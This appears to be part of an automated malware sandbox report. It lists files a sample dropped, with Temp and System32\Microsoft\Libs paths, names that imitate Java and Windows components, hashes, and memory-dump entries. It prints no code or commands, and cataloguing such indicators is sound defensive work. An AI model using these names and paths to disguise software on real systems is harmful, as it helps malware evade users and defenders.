SHA256 54f8ea69ea9c536a13b5dcb7d1c1fcc4c26c8703c19dd8b9c4fdad7e41c6ede9
MD5 4f04b7c60b0d72c4e703bf6351602994
SHA1 d1d27925d4ee7e3994993a205d803f246b73e3d0
SHA512 479ce76c8ab252f628428cf3fb13c73ec0253d1d187950f235e3382ebcb4a4b79410491959e27621c161d618784a8cede0f96176793e5851a4d6306ff8bba09d
SSDEEP 786432:xOqPROk77Q5QQ1rk/XkpTpdZseH/DglQwQtvGDymhqk/9mNadm:xbRffvJ+nuefDHvRkcNj
TLSH
T1B367333AE3F904F8D175E0B58ED29A9FEAA17C480761A60F0BB8E4649E331D11D1D793
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

juscheck.bat

Path C:\Users\Admin\AppData\Local\Temp\juscheck.bat
Size 57B
SHA256 1afa992ba2b3661006f6f9fe69f242cbd162c2273d43427f45724f023a72e38b
MD5 4fc356c6376dcc6803d9fa298150e68c
SHA1 cc72876271e8679c6caeaef686d7330a5707d3d8
SHA512 9381c303defae8bb133b4809a9122238a28025dd10c3d7a1f268449c643b24a886c78d45f8e4acce63ab71b330b4e75462a2c7c7851c32f385f975c180b31425
TLSH
T1B49002160C011485662319108047296A7E8F91D78492C4D11101449C5C9E55D60DAA46
MD5 SHA1 SHA512 TLSH

Submit Download

juscheck.exe

Path C:\Users\Admin\AppData\Local\Temp\juscheck.exe
Size 25KB
SHA256 cbe0d4aec72655f79881a6036a2c9a111212e74757a2db7f4f8266850e8dfca9
MD5 a2038e28490a11ed97b58d0272e98919
SHA1 4874947262a588e6550e0f8bf644818687d65165
SHA512 18022ca0346a8bc7f0142c16928edd4862b7e1c2c60accc6970b7b955f5ef98834d37cd49527e2859649a8d643e32aaa5a0332cd2b584dcbc7a8317b727a5c4d
SSDEEP 768:svpLaXe7Z5iEI1OW5ZcNy4WyseHmt9d4nt:QOe7jiEI1z5Gy43seznt
TLSH
T140C2D0119308C96EC96D4F74AFB7A3D0F2B492147F87489858DC0AB7A8A17DE8C72395
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jusched.exe

Path C:\Users\Admin\AppData\Local\Temp\jusched.exe
Size 29.8MB
SHA256 49adcc264da9a3a2144379224dfb7c1a34e3b55ae39a9ffbd8029fe5b9bceb7e
MD5 b04db1c197b60e98c15d468c8cc7940f
SHA1 97cb89ae8d96bca9e8f59d02420e9b1c568bc16b
SHA512 70b4d68b3aedbc1c1fa822f1428955664b232b34458a948c2083c28688a6de4e32f3d4fec3162b1623b7ac7448f4cd8e061e7a06973e01b0ab8c1b48d0559485
SSDEEP 786432:uDBHB+3FltV9kDvk/tKatuVLlcyN2ZZFV:+BHB+3vtLOwTal3N
TLSH
T1C867336BFA499E8FE9B2AB7F7D713546840A1F0D5D2B83988639732F1D00714066F386
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmp5ABB.tmp.dat

Path C:\Users\Admin\AppData\Local\Temp\tmp5ABB.tmp.dat
Size 224KB
SHA256 d781b56555e65272ef4019de8706cba5042fb7afcf0f6e2ca56183ca9567ba8e
MD5 710df06c7732247ac90a924171429a31
SHA1 74ca20f5987e39ea08d3765803fa25a9638eddea
SHA512 446dcaa944760f53b09f2112d434f8436ccaffcd7e6e270f699068161a7113f9c0b71de8f4e634bdccebb2364c6976c818fae12adb83c006fe1cce421a690c02
SSDEEP 192:f+xj3fT8w0QQnG2IMW1hPJubRd6vPtcdCewdbsc7V1VJ:2B3fQ9QQn7IMW1hPJuVd6vPkxW
TLSH
T1DD24640A7B787001EDE3D9725CB080771E3CA16D8F22A6915DB654694EB2853A23D8EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmp5ACD.tmp.dat

Path C:\Users\Admin\AppData\Local\Temp\tmp5ACD.tmp.dat
Size 204KB
SHA256 8c24b66b55bef2d89d1ac69204ec3d5d7b191ba051c7c4c4cddcd66d92575d04
MD5 0f709d9a7125f5d69ba52e8846867f41
SHA1 e9e554385d503e88a18665f5fa36d4b8f9d49fb9
SHA512 9969ad8f86e8c40d9d609e65c091565e14ce550d9191c3ea0d1c62ce51d076a79b20078f556667e96f012dffd60578ef82a8cc245676db78d3b6b2b3d9d71711
SSDEEP 96:3XIU+bGz83uy3+u4tgp4DLjGQLBze9z39jBHMsDEuspU0wbtqrOQpPfR4J+MCXki:3Xf+G83uy3Ct7XBBKjH7DXspU3i
TLSH
T176140F0E5F243721CDBD917629E644B35D7CF03F8B5266DA686114B4CEE3A52A02C8BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sihost64.exe

Path C:\Windows\System32\Microsoft\Libs\sihost64.exe
Size 32KB
SHA256 ebbc9dbaf56dafe30df4098839c526d2883fa7975e3cad939bb7a40e71fc04ec
MD5 612c83c8af45e9cfc74d5bb8c7548d80
SHA1 1c98464197586db6c3e2aa210a3b743efa3a6b46
SHA512 7c52a0c68460310647ffc7b3c47a77785bc31904bb69a0dacb0fbedaf03bf6883ae8a576a5ae56498e239f877ea5e22a3e60d63fd293e07730c85e6a32fcb095
SSDEEP 768:pIIdO+WJsiFZB0DhmTyxMWQP34yewfQlueUbNGmbR:CIbGsifKqyxlQBewfjp7bR
TLSH
T124E2BFB7CE7DA074F2AF217B469A112A1571F2980245F65BE6FA4EF4070583B17933C1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ddb64.dll

Path C:\Windows\system32\Microsoft\Libs\ddb64.dll
Size 32.2MB
SHA256 528458c9d7ac88959d2d83aecd0544bf75727d34795deaf658ff3b82000a9e44
MD5 82967b6c24f52664a3b9399f853ea812
SHA1 064e83897c545f71f2f6a879ea0845f6d23ec9b9
SHA512 69625de4e8cadfd361858cd588ef514cf8cac5f1a022541f831ff490bcc5048bb580f1c2a04820f3f978c299cf7b24058c9173cb51086e8bc4813432012e697f
SSDEEP 196608:LEYDJk52U0CDn/DM4b5chY56H5dg5Ej9bUYvqNE6/+XBpSOXtOkO+O:jDcDn/DM4b5wY525dMy
TLSH
T1BC775CD97AA9754BC048157CA18BAFB4CC9E3623003F8ED42CD09DEB5E55EEDF412298
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1368-209-0x000001D3ACDD0000-0x000001D3AEB8F000-memory.dmp

Download

memory/1368-211-0x000001D3B2460000-0x000001D3B2472000-memory.dmp

Download

memory/1368-212-0x000001D3B2490000-0x000001D3B249A000-memory.dmp

Download

memory/1368-210-0x000001D3CCCE0000-0x000001D3CEAA0000-memory.dmp

Download

memory/1936-296-0x0000021BDC540000-0x0000021BDC547000-memory.dmp

Download

memory/1936-297-0x0000021BDE160000-0x0000021BDE166000-memory.dmp

Download

memory/1988-301-0x00000000012B0000-0x00000000012C2000-memory.dmp

Download

memory/2552-40-0x000001AB60A40000-0x000001AB60A90000-memory.dmp

Download

memory/2824-279-0x0000000140000000-0x0000000140786000-memory.dmp

Download

memory/2824-277-0x0000000140000000-0x0000000140786000-memory.dmp

Download

memory/2824-273-0x000001FE17560000-0x000001FE17580000-memory.dmp

Download

memory/2824-280-0x0000000140000000-0x0000000140786000-memory.dmp

Download

memory/2824-281-0x0000000140000000-0x0000000140786000-memory.dmp

Download

memory/2824-270-0x0000000140000000-0x0000000140786000-memory.dmp

Download

memory/2824-278-0x0000000140000000-0x0000000140786000-memory.dmp

Download

memory/2824-272-0x0000000140000000-0x0000000140786000-memory.dmp

Download

memory/2824-299-0x0000000140000000-0x0000000140786000-memory.dmp

Download

memory/2824-290-0x0000000140000000-0x0000000140786000-memory.dmp

Download

memory/2824-293-0x0000000140000000-0x0000000140786000-memory.dmp

Download

memory/2824-208-0x00000000012F0000-0x0000000001302000-memory.dmp

Download

memory/3192-103-0x00000000013A0000-0x00000000013B2000-memory.dmp

Download

memory/3948-222-0x000001BED9280000-0x000001BED92A2000-memory.dmp

Download

memory/4764-43-0x0000000001160000-0x0000000001172000-memory.dmp

Download

memory/4764-42-0x00000000009C0000-0x00000000009C8000-memory.dmp

Download